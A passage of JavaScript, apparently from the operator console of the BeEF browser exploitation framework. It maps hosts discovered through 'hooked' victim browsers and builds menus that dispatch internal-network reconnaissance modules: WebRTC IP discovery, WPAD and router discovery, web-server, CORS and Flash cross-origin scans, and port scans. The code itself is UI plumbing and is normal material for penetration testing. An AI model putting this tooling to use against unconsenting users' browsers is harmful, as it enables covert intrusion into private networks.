@base_path %>/media/images/icons/';\n\t\tvar EDGE_LENGTH_MAIN = 150;\n\t\tvar EDGE_LENGTH_SUB = 50;\n\n\t\tvar nodes = [];\n\t\tvar edges = [];\n\n\t\tif (hosts.count == '0') {\n\t\t\tcommands_statusbar.update_fail('Found no network hosts');\n\t\t\treturn false;\n\t\t}\n\n\t\tnodes.push({id: 1000, label: '', image: DIR + '../beef.png', shape: 'image'});\n\n\t\tvar HB_ID = 1001;\n\t\tnodes.push({id: HB_ID, label: 'Hooked Browser', image: DIR + 'Apps-internet-web-browser-icon.png', shape: 'image'});\n\t\tedges.push({from: 1000, to: HB_ID, length: EDGE_LENGTH_SUB});\n\n\t\t// add subnet nodes\n\t\tvar subnets = [];\n\t\tfor (var key in hosts.hosts) {\n\t\t\tif (isNaN(hosts.hosts[key].id)) continue;\n\t\t\tvar ip = hosts.hosts[key].ip;\n\t\t\tvar first = ip.split('.')[0];\n\t\t\tsubnets.push(first);\n\t\t}\n\t\tsubnets = arrayUnique(subnets);\n\t\tfor (var i=0; i<=subnets.length; i++) {\n\t\t\tif (isNaN(subnets[i])) continue;\n\t\t\tnodes.push({id: subnets[i], label: subnets[i]+'.0.0.0/8', image: DIR + 'Network-Pipe-icon.png', shape: 'image'});\n\t\t\tedges.push({from: HB_ID, to: subnets[i], length: EDGE_LENGTH_SUB});\n\t\t}\n\n\t\t// add host nodes\n\t\tvar i = 2000;\n\t\tfor (var key in hosts.hosts) {\n\t\t\tif (isNaN(hosts.hosts[key].id)) continue;\n\t\t\tvar ip = hosts.hosts[key].ip;\n\t\t\tvar hostname = hosts.hosts[key].hostname;\n\t\t\tvar type = hosts.hosts[key].type;\n\t\t\tvar os = hosts.hosts[key].os;\n\t\t\tvar label = ip;\n\t\t\tif (hostname) label += ' ['+hostname+']';\n\t\t\tif (os) label += \"\\n\" + os;\n\t\t\tvar icon = 'pc.png';\n\t\t\tnodes.push({id: i, label: label, image: DIR + icon, shape: 'image'});\n\t\t\tedges.push({from: ip.split('.')[0], to: i, length: EDGE_LENGTH_SUB});\n\t\t\ti++;\n\t\t}\n\t\n\t\tvar container = document.getElementById('zombie_network');\n\t\tvar data = {\n\t\t\tnodes: nodes,\n\t\t\tedges: edges\n\t\t};\n\t\tvar options = {};\n\t\tnetwork = new vis.Network(container, data, options);\n\t}\n\t\n\t/*\n\t * Network Map panel\n\t */\n\tvar map_panel = new Ext.Panel({\n\t\tid: 'network-map-panel-zombie-'+zombie.session,\n\t\ttitle: 'Map',\n\t\tlayout: 'fit',\n\t\tautoDestroy: true,\n\t\thtml: '<div id=\"zombie_network\"></div>',\n\t\tlisteners: {\n\t\t\tactivate: function(map_panel) {\n\t\t\t\tdraw();\n\t\t\t}\n\t\t}\n\t});\n\n\t/*\n\t * The panel that displays all identified network services grouped by host\n\t ********************************************/\n\tvar hosts_panel_store = new Ext.ux.data.PagingJsonStore({\n\t\tstoreId: 'network-host-store-zombie-'+zombie.session,\n\t\tproxy: new Ext.data.HttpProxy({\n\t\t\turl: '/api/network/hosts/'+zombie.session+'?token='+token,\n\t\t\tmethod: 'GET'\n\t\t}),\n\t\tremoteSort: false,\n\t\tautoDestroy: true,\n\t\tautoLoad: false,\n\t\troot: 'hosts',\n\t\tfields: ['id', 'ip', 'hostname', 'type', 'os', 'mac', 'lastseen'],\n\t\tsortInfo: {field: 'ip', direction: 'ASC'}\n\t});\n\n\tvar req_pagesize = 50;\n\n\tvar hosts_panel_bbar = new Ext.PagingToolbar({\n\t\tpageSize: req_pagesize,\n\t\tstore: hosts_panel_store,\n\t\tdisplayInfo: true,\n\t\tdisplayMsg: 'Displaying network hosts {0} - {1} of {2}',\n\t\temptyMsg: 'No hosts to display'\n\t});\n\n\tvar hosts_panel_grid = new Ext.grid.GridPanel({\n\t\tid: 'network-host-grid-zombie-'+zombie.session,\n\t\tstore: hosts_panel_store,\n\t\tbbar: hosts_panel_bbar,\n\t\tborder: false,\n\t\tloadMask: {msg:'Loading network hosts...'},\n\t\t\n\t\tviewConfig: {\n\t\t\tforceFit: true\n\t\t},\n\t\t\n\t\tview: new Ext.grid.GridView({\n\t\t\tforceFit: true,\n\t\t\temptyText: \"No hosts\",\n\t\t\tenableRowBody:true\n\t\t}),\n\t\t\n\t\tcolumns: [\n\t\t\t{header: 'Id', width: 5, sortable: true, dataIndex: 'id', hidden:true},\n                        {header: 'IP Address', width: 10, sortable: true, dataIndex: 'ip', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n\t\t\t{header: 'Host Name', width: 10, sortable: true, dataIndex: 'hostname', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n\t\t\t{header: 'Type', width: 15, sortable: true, dataIndex: 'type', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n\t\t\t{header: 'Operating System', width: 10, sortable: true, dataIndex: 'os', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n\t\t\t{header: 'MAC Address', width: 10, sortable: true, dataIndex: 'mac', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n                        {header: 'Last Seen', width: 15, sortable: true, dataIndex: 'lastseen', renderer: function(value){return $jEncoder.encoder.encodeForHTML(new Date(1000*value).toUTCString())}}\n\t\t],\n\t\t\n\t\tlisteners: {\n\t\t\trowclick: function(grid, rowIndex) {\n\t\t\t\tvar r = grid.getStore().getAt(rowIndex).data;\n\t\t\t},\n\t\t\tcontextmenu: function(e, element, options) {\n\t\t\t\te.preventDefault();\n\t\t\t},\n\t\t\tcontainercontextmenu: function(view, e) {\n\t\t\t\te.preventDefault();\n\t\t\t\tvar emptygrid_menu = new Ext.menu.Menu({\n\t\t\t\t\titems: [\n\t\t\t\t\t{\n\t\t\t\t\t\ttext: 'Get Internal IP Address',\n\t\t\t\t\t\ticonCls: 'network-host-ctxMenu-adapter',\n\t\t\t\t\t\thandler: function() {\n\t\t\t\t\t\t\tvar mod_id = get_module_id(\"get_internal_ip_webrtc\");\n\t\t\t\t\t\t\tcommands_statusbar.update_sending('Identifying zombie network adapters ...');\n\t\t\t\t\t\t\tjQuery.ajax({\n\t\t\t\t\t\t\t\tcontentType: 'application/json',\n\t\t\t\t\t\t\t\tdata: JSON.stringify({}),\n\t\t\t\t\t\t\t\tdataType: 'json',\n\t\t\t\t\t\t\t\ttype: 'POST',\n\t\t\t\t\t\t\t\turl: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n\t\t\t\t\t\t\t\tasync: false,\n\t\t\t\t\t\t\t\tprocessData: false,\n\t\t\t\t\t\t\t\tsuccess: function(data){\n\t\t\t\t\t\t\t\t\tcommands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\terror: function(){\n\t\t\t\t\t\t\t\t\tcommands_statusbar.update_fail('Error sending command');\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t}\n\t\t\t\t\t},{\n                                                text: 'Discover Proxies',\n                                                iconCls: 'network-host-ctxMenu-proxy',\n                                                handler: function() {\n                                                        var mod_id = get_module_id(\"get_proxy_servers_wpad\");\n                                                        commands_statusbar.update_sending('Scanning for WPAD proxies ...');\n                                                        jQuery.ajax({\n                                                                contentType: 'application/json',\n                                                                data: JSON.stringify({}),\n                                                                dataType: 'json',\n                                                                type: 'POST',\n                                                                url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                                                async: false,\n                                                                processData: false,\n                                                                success: function(data){\n                                                                        commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                                                },\n                                                                error: function(){\n                                                                        commands_statusbar.update_fail('Error sending command');\n                                                                }\n                                                        });\n                                                }\n\t\t\t\t\t},{\n\t\t\t\t\t\ttext: 'Discover Routers',\n\t\t\t\t\t\ticonCls: 'network-host-ctxMenu-router',\n\t\t\t\t\t\thandler: function() {\n\t\t\t\t\t\t\tvar mod_id = get_module_id(\"fingerprint_routers\");\n\t\t\t\t\t\t\tcommands_statusbar.update_sending('Scanning commonly used local area network IP addresses for routers ...');\n\t\t\t\t\t\t\tjQuery.ajax({\n\t\t\t\t\t\t\t\tcontentType: 'application/json',\n\t\t\t\t\t\t\t\tdata: JSON.stringify({}),\n\t\t\t\t\t\t\t\tdataType: 'json',\n\t\t\t\t\t\t\t\ttype: 'POST',\n\t\t\t\t\t\t\t\turl: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n\t\t\t\t\t\t\t\tasync: false,\n\t\t\t\t\t\t\t\tprocessData: false,\n\t\t\t\t\t\t\t\tsuccess: function(data){\n\t\t\t\t\t\t\t\t\tcommands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\terror: function(){\n\t\t\t\t\t\t\t\t\tcommands_statusbar.update_fail('Error sending command');\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t}\n\t\t\t\t\t},{\n\t\t\t\t\t\ttext: 'Discover Web Servers',\n\t\t\t\t\t\ticonCls: 'network-host-ctxMenu-web',\n\t\t\t\t\t\tmenu: {\n\t\t\t\t\t\t  xtype: 'menu',\n\t\t\t\t\t\t  items: [{\n\t\t\t\t\t\t\ttext: 'Common LAN IPs',\n\t\t\t\t\t\t\ticonCls: 'network-host-ctxMenu-network',\n\t\t\t\t\t\t\thandler: function() {\n\t\t\t\t\t\t\t\tvar mod_name = \"get_http_servers\";\n\t\t\t\t\t\t\t\tvar mod_id = get_module_id(mod_name);\n                                                                var ports = prompt(\"Enter ports to scan:\", '80,8080');\n                                                                if (!ports) {\n                                                                        commands_statusbar.update_fail('Cancelled');\n                                                                        return;\n                                                                }\n\t\t\t\t\t\t\t\tcommands_statusbar.update_sending('Favicon scanning commonly used local area network IP addresses for web servers [ports: '+ports+'] ...');\n\t\t\t\t\t\t\t\tjQuery.ajax({\n\t\t\t\t\t\t\t\t\tcontentType: 'application/json',\n\t\t\t\t\t\t\t\t\tdata: JSON.stringify({\"rhosts\":\"common\",\"ports\":ports}),\n\t\t\t\t\t\t\t\t\tdataType: 'json',\n\t\t\t\t\t\t\t\t\ttype: 'POST',\n\t\t\t\t\t\t\t\t\turl: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n\t\t\t\t\t\t\t\t\tasync: false,\n\t\t\t\t\t\t\t\t\tprocessData: false,\n\t\t\t\t\t\t\t\t\tsuccess: function(data){\n\t\t\t\t\t\t\t\t\t\tcommands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\terror: function(){\n\t\t\t\t\t\t\t\t\t\tcommands_statusbar.update_fail('Error executing module ' + mod_name + ' [id: ' + mod_id + ']');\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t  },{\n\t\t\t\t\t\t\ttext: 'Specify IP Range',\n\t\t\t\t\t\t\ticonCls: 'network-host-ctxMenu-config',\n\t\t\t\t\t\t\thandler: function() {\n\t\t\t\t\t\t\t\tvar ip_range = prompt(\"Enter IPs to scan:\", '192.168.1.1-192.168.1.254');\n\t\t\t\t\t\t\t\tif (!ip_range) {\n\t\t\t\t\t\t\t\t\tcommands_statusbar.update_fail('Cancelled');\n\t\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t\t}\n                                                                var ports = prompt(\"Enter ports to scan:\", '80,8080');\n                                                                if (!ports) {\n                                                                        commands_statusbar.update_fail('Cancelled');\n                                                                        return;\n                                                                }\n\t\t\t\t\t\t\t\tvar mod_name = \"get_http_servers\";\n\t\t\t\t\t\t\t\tvar mod_id = get_module_id(mod_name);\n\t\t\t\t\t\t\t\tcommands_statusbar.update_sending('Favicon scanning ' + ip_range + ' for web servers...');\n\t\t\t\t\t\t\t\tjQuery.ajax({\n\t\t\t\t\t\t\t\t\tcontentType: 'application/json',\n\t\t\t\t\t\t\t\t\tdata: JSON.stringify({\"rhosts\":ip_range,\"ports\":ports}),\n\t\t\t\t\t\t\t\t\tdataType: 'json',\n\t\t\t\t\t\t\t\t\ttype: 'POST',\n\t\t\t\t\t\t\t\t\turl: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n\t\t\t\t\t\t\t\t\tasync: false,\n\t\t\t\t\t\t\t\t\tprocessData: false,\n\t\t\t\t\t\t\t\t\tsuccess: function(data){\n\t\t\t\t\t\t\t\t\t\tcommands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\terror: function(){\n\t\t\t\t\t\t\t\t\t\tcommands_statusbar.update_fail('Error executing module ' + mod_name + ' [id: ' + mod_id + ']');\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t  }]\n\t\t\t\t\t\t}\n\t\t\t\t\t},{\n                                                text: 'Fingerprint HTTP',\n                                                iconCls: 'network-host-ctxMenu-fingerprint',\n                                                menu: {\n                                                  xtype: 'menu',\n                                                  items: [{\n                                                        text: 'Common LAN IPs',\n                                                        iconCls: 'network-host-ctxMenu-network',\n                                                        handler: function() {\n                                                                var mod_name = \"internal_network_fingerprinting\";\n                                                                var mod_id = get_module_id(mod_name);\n                                                                commands_statusbar.update_sending('Fingerprinting commonly used local area network IP addresses...');\n                                                                jQuery.ajax({\n                                                                        contentType: 'application/json',\n                                                                        data: JSON.stringify({\"ipRange\":\"common\"}),\n                                                                        dataType: 'json',\n                                                                        type: 'POST',\n                                                                        url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                                                        async: false,\n                                                                        processData: false,\n                                                                        success: function(data){\n                                                                                commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                                                        },\n                                                                        error: function(){\n                                                                                commands_statusbar.update_fail('Error executing module ' + mod_name + ' [id: ' + mod_id + ']');\n                                                                        }\n                                                                });\n                                                        }\n                                                  },{\n                                                        text: 'Specify IP Range',\n                                                        iconCls: 'network-host-ctxMenu-config',\n                                                        handler: function() {\n                                                                var ip_range = prompt(\"Enter IP range to scan:\", '192.168.1.1-192.168.1.254');\n                                                                if (!ip_range) {\n                                                                        commands_statusbar.update_fail('Cancelled');\n                                                                        return;\n                                                                }\n                                                                var mod_name = \"internal_network_fingerprinting\";\n                                                                var mod_id = get_module_id(mod_name);\n                                                                commands_statusbar.update_sending('Fingerprinting ' + ip_range + '...');\n                                                                jQuery.ajax({\n                                                                        contentType: 'application/json',\n                                                                        data: JSON.stringify({\"ipRange\":ip_range}),\n                                                                        dataType: 'json',\n                                                                        type: 'POST',\n                                                                        url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                                                        async: false,\n                                                                        processData: false,\n                                                                        success: function(data){\n                                                                                commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                                                        },\n                                                                        error: function(){\n                                                                                commands_statusbar.update_fail('Error executing module ' + mod_name + ' [id: ' + mod_id + ']');\n                                                                        }\n                                                                });\n                                                         }\n                                                  }]\n                                                }\n                                        },{\n                                                text: 'CORS Scan',\n                                                iconCls: 'network-host-ctxMenu-cors',\n                                                menu: {\n                                                  xtype: 'menu',\n                                                  items: [{\n                                                        text: 'Common LAN IPs',\n                                                        iconCls: 'network-host-ctxMenu-network',\n                                                        handler: function() {\n                                                                var mod_name = \"cross_origin_scanner_cors\";\n                                                                var mod_id = get_module_id(mod_name);\n                                                                var ports = prompt(\"Enter ports to scan:\", '80,8080');\n                                                                if (!ports) {\n                                                                        commands_statusbar.update_fail('Cancelled');\n                                                                        return;\n                                                                }\n                                                                commands_statusbar.update_sending('CORS scanning commonly used local area network IP addresses [ports: '+ports+'] ...');\n                                                                jQuery.ajax({\n                                                                        contentType: 'application/json',\n                                                                        data: JSON.stringify({\"ipRange\":\"common\",\"ports\":ports}),\n                                                                        dataType: 'json',\n                                                                        type: 'POST',\n                                                                        url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                                                        async: false,\n                                                                        processData: false,\n                                                                        success: function(data){\n                                                                                commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                                                        },\n                                                                        error: function(){\n                                                                                commands_statusbar.update_fail('Error executing module ' + mod_name + ' [id: ' + mod_id + ']');\n                                                                        }\n                                                                });\n                                                        }\n                                                  },{\n                                                        text: 'Specify IP Range',\n                                                        iconCls: 'network-host-ctxMenu-config',\n                                                        handler: function() {\n                                                                var ip_range = prompt(\"Enter IP range to scan:\", '192.168.1.1-192.168.1.254');\n                                                                if (!ip_range) {\n                                                                        commands_statusbar.update_fail('Cancelled');\n                                                                        return;\n                                                                }\n                                                                var ports = prompt(\"Enter ports to scan:\", '80,8080');\n                                                                if (!ports) {\n                                                                        commands_statusbar.update_fail('Cancelled');\n                                                                        return;\n                                                                }\n                                                                var mod_name = \"cross_origin_scanner_cors\";\n                                                                var mod_id = get_module_id(mod_name);\n                                                                commands_statusbar.update_sending('CORS scanning ' + ip_range + ' [ports: ' + ports + '] ...');\n                                                                jQuery.ajax({\n                                                                        contentType: 'application/json',\n                                                                        data: JSON.stringify({\"ipRange\":ip_range,\"ports\":ports}),\n                                                                        dataType: 'json',\n                                                                        type: 'POST',\n                                                                        url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                                                        async: false,\n                                                                        processData: false,\n                                                                        success: function(data){\n                                                                                commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                                                        },\n                                                                        error: function(){\n                                                                                commands_statusbar.update_fail('Error executing module ' + mod_name + ' [id: ' + mod_id + ']');\n                                                                        }\n                                                                });\n                                                        }\n                                                  }]\n                                                }\n\t\t\t\t\t},{\n                                                text: 'Flash Cross-Origin Scan',\n                                                iconCls: 'network-host-ctxMenu-flash',\n                                                menu: {\n                                                  xtype: 'menu',\n                                                  items: [{\n                                                        text: 'Common LAN IPs',\n                                                        iconCls: 'network-host-ctxMenu-network',\n                                                        handler: function() {\n                                                                var mod_name = \"cross_origin_scanner_flash\";\n                                                                var mod_id = get_module_id(mod_name);\n                                                                var ports = prompt(\"Enter ports to scan:\", '80,8080');\n                                                                if (!ports) {\n                                                                        commands_statusbar.update_fail('Cancelled');\n                                                                        return;\n                                                                }\n                                                                commands_statusbar.update_sending('Flash cross-origin scanning commonly used local area network IP addresses [ports: '+ports+'] ...');\n                                                                jQuery.ajax({\n                                                                        contentType: 'application/json',\n                                                                        data: JSON.stringify({\"ipRange\":\"common\",\"ports\":ports}),\n                                                                        dataType: 'json',\n                                                                        type: 'POST',\n                                                                        url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                                                        async: false,\n                                                                        processData: false,\n                                                                        success: function(data){\n                                                                                commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                                                        },\n                                                                        error: function(){\n                                                                                commands_statusbar.update_fail('Error executing module ' + mod_name + ' [id: ' + mod_id + ']');\n                                                                        }\n                                                                });\n                                                        }\n                                                  },{\n                                                        text: 'Specify IP Range',\n                                                        iconCls: 'network-host-ctxMenu-config',\n                                                        handler: function() {\n                                                                var ip_range = prompt(\"Enter IP range to scan:\", '192.168.1.1-192.168.1.254');\n                                                                if (!ip_range) {\n                                                                        commands_statusbar.update_fail('Cancelled');\n                                                                        return;\n                                                                }\n                                                                var ports = prompt(\"Enter ports to scan:\", '80,8080');\n                                                                if (!ports) {\n                                                                        commands_statusbar.update_fail('Cancelled');\n                                                                        return;\n                                                                }\n                                                                var mod_name = \"cross_origin_scanner_flash\";\n                                                                var mod_id = get_module_id(mod_name);\n                                                                commands_statusbar.update_sending('Flash cross-origin scanning ' + ip_range + ' [ports: ' + ports + '] ...');\n                                                                jQuery.ajax({\n                                                                        contentType: 'application/json',\n                                                                        data: JSON.stringify({\"ipRange\":ip_range,\"ports\":ports}),\n                                                                        dataType: 'json',\n                                                                        type: 'POST',\n                                                                        url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                                                        async: false,\n                                                                        processData: false,\n                                                                        success: function(data){\n                                                                                commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                                                        },\n                                                                        error: function(){\n                                                                                commands_statusbar.update_fail('Error executing module ' + mod_name + ' [id: ' + mod_id + ']');\n                                                                        }\n                                                                });\n                                                        }\n                                                  }]\n                                                }\n                                        }]\n                                });\n\t\t\t\temptygrid_menu.showAt(e.getXY());\n\t\t\t},\n\t\t\trowcontextmenu: function(grid, rowIndex, e) {\n\t\t\t\te.preventDefault();\n\t\t\t\tgrid.getSelectionModel().selectRow(rowIndex);\n\t\t\t\tif (!!grid.rowCtxMenu) {\n\t\t\t\t\tgrid.rowCtxMenu.destroy();\n\t\t\t\t}\n\t\t\t\tvar record = grid.selModel.getSelected();\n\t\t\t\tvar ip = record.get('ip');\n\t\t\t\tvar class_c = ip.split(\".\")[0]+\".\"+ip.split(\".\")[1]+\".\"+ip.split(\".\")[2];\n\t\t\t\tvar ip_range = class_c+'.1-'+class_c+'.255';\n                                // menu options for localhost\n                                if (class_c == '127.0.0') {\n                                  grid.rowCtxMenu = new Ext.menu.Menu({\n                                        items: [\n                                        {\n                                          text: 'Discover Web Servers',\n                                          iconCls: 'network-host-ctxMenu-web',\n                                          handler: function() {\n                                            var mod_id = get_module_id(\"get_http_servers\");\n                                            var ports = prompt(\"Enter ports to scan:\", '80,8080');\n                                            if (!ports) {\n                                              commands_statusbar.update_fail('Cancelled');\n                                                return;\n                                              }\n                                            commands_statusbar.update_sending('Favicon scanning ' + ip + ' for HTTP servers [ports: '+ports+'] ...');\n                                            jQuery.ajax({\n                                              contentType: 'application/json',\n                                              data: JSON.stringify({\"rhosts\":ip,\"ports\":ports}),\n                                              dataType: 'json',\n                                              type: 'POST',\n                                              url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                              async: false,\n                                              processData: false,\n                                              success: function(data){\n                                                commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                              },\n                                              error: function(){\n                                                commands_statusbar.update_fail('Error sending command');\n                                              }\n                                            });\n                                          }\n                                        },{\n                                          text: 'Fingerprint HTTP',\n                                          iconCls: 'network-host-ctxMenu-fingerprint',\n                                          handler: function() {\n                                            var mod_id = get_module_id(\"internal_network_fingerprinting\");\n                                            commands_statusbar.update_sending('Fingerprinting ' + ip + '...');\n                                            jQuery.ajax({\n                                              contentType: 'application/json',\n                                              data: JSON.stringify({\"ipRange\":ip+'-'+ip}),\n                                              dataType: 'json',\n                                              type: 'POST',\n                                              url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                              async: false,\n                                              processData: false,\n                                              success: function(data){\n                                                commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                              },\n                                              error: function(){\n                                                commands_statusbar.update_fail('Error sending command');\n                                              }\n                                            });\n                                          }\n                                        },{\n                                          text: 'CORS Scan',\n                                          iconCls: 'network-host-ctxMenu-cors',\n                                          handler: function() {\n                                            var mod_id = get_module_id(\"cross_origin_scanner_cors\");\n                                            var ports = prompt(\"Enter ports to scan:\", '80,8080');\n                                            if (!ports) {\n                                              commands_statusbar.update_fail('Cancelled');\n                                              return;\n                                            }\n                                            commands_statusbar.update_sending('CORS scanning ' + ip + ' [ports: '+ports+'] ...');\n                                            jQuery.ajax({\n                                              contentType: 'application/json',\n                                              data: JSON.stringify({\"ipRange\":ip+'-'+ip,\"ports\":ports}),\n                                              dataType: 'json',\n                                              type: 'POST',\n                                              url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                              async: false,\n                                              processData: false,\n                                              success: function(data){\n                                                commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                              },\n                                              error: function(){\n                                                commands_statusbar.update_fail('Error sending command');\n                                              }\n                                            });\n                                          }\n                                        },{\n                                          text: 'Flash Cross-Origin Scan',\n                                          iconCls: 'network-host-ctxMenu-flash',\n                                          handler: function() {\n                                            var mod_id = get_module_id(\"cross_origin_scanner_flash\");\n                                            var ports = prompt(\"Enter ports to scan:\", '80,8080');\n                                            if (!ports) {\n                                              commands_statusbar.update_fail('Cancelled');\n                                              return;\n                                            }\n                                            commands_statusbar.update_sending('Flash cross-origin scanning ' + ip + ' [ports: '+ports+'] ...');\n                                            jQuery.ajax({\n                                              contentType: 'application/json',\n                                              data: JSON.stringify({\"ipRange\":ip+'-'+ip,\"ports\":ports}),\n                                              dataType: 'json',\n                                              type: 'POST',\n                                              url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                              async: false,\n                                              processData: false,\n                                              success: function(data){\n                                                commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                              },\n                                              error: function(){\n                                                commands_statusbar.update_fail('Error sending command');\n                                              }\n                                            });\n                                          }\n                                        },{\n                                                text: 'Port Scan',\n                                                iconCls: 'network-host-ctxMenu-network',\n                                                menu: {\n                                                  xtype: 'menu',\n                                                  items: [{\n                                                        text: 'Common Ports',\n                                                        iconCls: 'network-host-ctxMenu-host',\n                                                        handler: function() {\n                                                                var mod_id = get_module_id(\"port_scanner\");\n                                                                var ports = '21,22,23,25,80,81,443,445,1080,8080,8081,8090,8443,3000,3128,3389,3306,5432,6379,10000,10443';\n                                                                commands_statusbar.update_sending('Port scanning ' + ip + '...');\n                                                                jQuery.ajax({\n                                                                        contentType: 'application/json',\n                                                                        data: JSON.stringify({\"ipHost\":ip,\"ports\":ports}),\n                                                                        dataType: 'json',\n                                                                        type: 'POST',\n                                                                        url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                                                        async: false,\n                                                                        processData: false,\n                                                                        success: function(data){\n                                                                                commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                                                        },\n                                                                        error: function(){\n                                                                                commands_statusbar.update_fail('Error sending command');\n                                                                        }\n                                                                });\n                                                        }\n                                                  },{\n                                                        text: 'Specify Ports',\n                                                        iconCls: 'network-host-ctxMenu-config',\n                                                        handler: function() {\n                                                                var mod_id = get_module_id(\"port_scanner\");\n                                                                var ports = prompt(\"Enter ports to scan:\", '1,5,7,9,15,20,21,22,23,25,26,29,33,37,42,43,53,67,68,69,70,76,79,80,88,90,98,101,106,109,110,111,113,114,115,118,119,123,129,132,133,135,136,137,138,139,143,144,156,158,161,162,168,174,177,194,197,209,213,217,219,220,223,264,315,316,346,353,389,413,414,415,416,440,443,444,445,453,454,456,457,458,462,464,465,466,480,486,497,500,501,516,518,522,523,524,525,526,533,535,538,540,541,542,543,544,545,546,547,556,557,560,561,563,564,625,626,631,636,637,660,664,666,683,740,741,742,744,747,748,749,750,751,752,753,754,758,760,761,762,763,764,765,767,771,773,774,775,776,780,781,782,783,786,787,799,800,801,808,871,873,888,898,901,953,989,990,992,993,994,995,996,997,998,999,1000,1002,1008,1023,1024,1080,8080,8443,8050,3306,5432,1521,1433,3389,10088');\n                                                                if (!ports) {\n                                                                        commands_statusbar.update_fail('Cancelled');\n                                                                        return;\n                                                                }\n                                                                commands_statusbar.update_sending('Port scanning ' + ip + '...');\n                                                                jQuery.ajax({\n                                                                        contentType: 'application/json',\n                                                                        data: JSON.stringify({\"ipHost\":ip,\"ports\":ports}),\n                                                                        dataType: 'json',\n                                                                        type: 'POST',\n                                                                        url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                                                        async: false,\n                                                                        processData: false,\n                                                                        success: function(data){\n                                                                                commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                                                        },\n                                                                        error: function(){\n                                                                                commands_statusbar.update_fail('Error sending command');\n                                                                        }\n                                                                });\n                                                        }\n                                                  }]\n                                                }\n                                        }]\n                                  });\n\t\t\t\t// menu options for all hosts other than 127.0.0.x\n\t\t\t\t} else {\n\t\t\t\t  grid.rowCtxMenu = new Ext.menu.Menu({\n\t\t\t\t\titems: [\n\t\t\t\t\t{\n                                                text: 'Discover Web Servers',\n\t\t\t\t\t\ticonCls: 'network-host-ctxMenu-web',\n                                                menu: {\n                                                  xtype: 'menu',\n                                                  items: [{\n                                                        text: 'Host ('+ip+')',\n                                                        iconCls: 'network-host-ctxMenu-host',\n                                                        handler: function() {\n                                                                var mod_id = get_module_id(\"get_http_servers\");\n                                                                var ports = prompt(\"Enter ports to scan:\", '80,8080');\n                                                                if (!ports) {\n                                                                        commands_statusbar.update_fail('Cancelled');\n                                                                        return;\n                                                                }\n                                                                commands_statusbar.update_sending('Favicon scanning ' + ip + ' for HTTP servers [ports: '+ports+'] ...');\n                                                                jQuery.ajax({\n                                                                        contentType: 'application/json',\n                                                                        data: JSON.stringify({\"rhosts\":ip,\"ports\":ports}),\n                                                                        dataType: 'json',\n                                                                        type: 'POST',\n                                                                        url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                                                        async: false,\n                                                                        processData: false,\n                                                                        success: function(data){\n                                                                                commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                                                        },\n                                                                        error: function(){\n                                                                                commands_statusbar.update_fail('Error sending command');\n                                                                        }\n                                                                });\n                                                        }\n                                                  },{\n                                                        text: 'Network 